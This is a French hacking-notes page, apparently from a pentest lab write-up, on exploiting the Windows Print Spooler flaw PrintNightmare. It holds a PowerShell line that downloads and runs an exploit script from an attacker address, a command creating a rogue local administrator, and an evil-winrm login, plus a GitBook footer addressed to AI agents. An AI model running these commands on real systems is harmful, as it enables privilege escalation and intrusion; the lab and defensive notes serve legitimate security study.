> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/vulnerable-services-and-processes/print-spooler-printnightmare.md).

# Spouleur d’impression - PrintNightmare

`spoolsv.exe` est le service de spouleur d’impression Windows. Lorsqu’une cible est vulnérable, une exploitation de type PrintNightmare peut permettre une élévation de privilèges locale ou distante selon la version de Windows, le niveau de correctif et l’exposition du service.

## Détection

Corrélez un service Spouleur d’impression actif ou exposé avec la version exacte de Windows et les correctifs installés.

<figure><img src="/files/95df867447518f1208360053a932163be411f63e" alt="Windows Print Spooler service identified"><figcaption></figcaption></figure>

## Exploitation en labo

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

<figure><img src="/files/362ce0cf20839237eb4169fc11f37a367f077341" alt="PrintNightmare exploit repository"><figcaption></figcaption></figure>

Chargez le script :

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')
```

Créez un utilisateur administrateur local dans le labo :

```powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "lab-admin" -NewPassword "Use-A-Strong-Temporary-Password!"
```

<figure><img src="/files/d7244f2ce989030a8166eb11915070f8fdcb9b03" alt="Invoke-Nightmare creating a local administrator user"><figcaption></figcaption></figure>

<figure><img src="/files/617d0fa9d4375e5c8c517ff482622a4c37591750" alt="New administrative user validation"><figcaption></figcaption></figure>

## Connexion

```bash
evil-winrm -i 10.10.11.106 -u 'lab-admin' -p 'Use-A-Strong-Temporary-Password!'
```

<figure><img src="/files/22f57770de90878683c3cc3cf2223fc37ab1b176" alt="Evil-WinRM connection with the created administrator account"><figcaption></figcaption></figure>

## Points clés

* Confirmez la vulnérabilité par la validation de la version et des correctifs.
* Désactivez le spouleur d’impression lorsqu’il n’est pas nécessaire, en particulier sur les serveurs sensibles.
* Surveillez la création soudaine de comptes d’administrateur local et les opérations suspectes de pilotes d’imprimante.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/vulnerable-services-and-processes/print-spooler-printnightmare.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
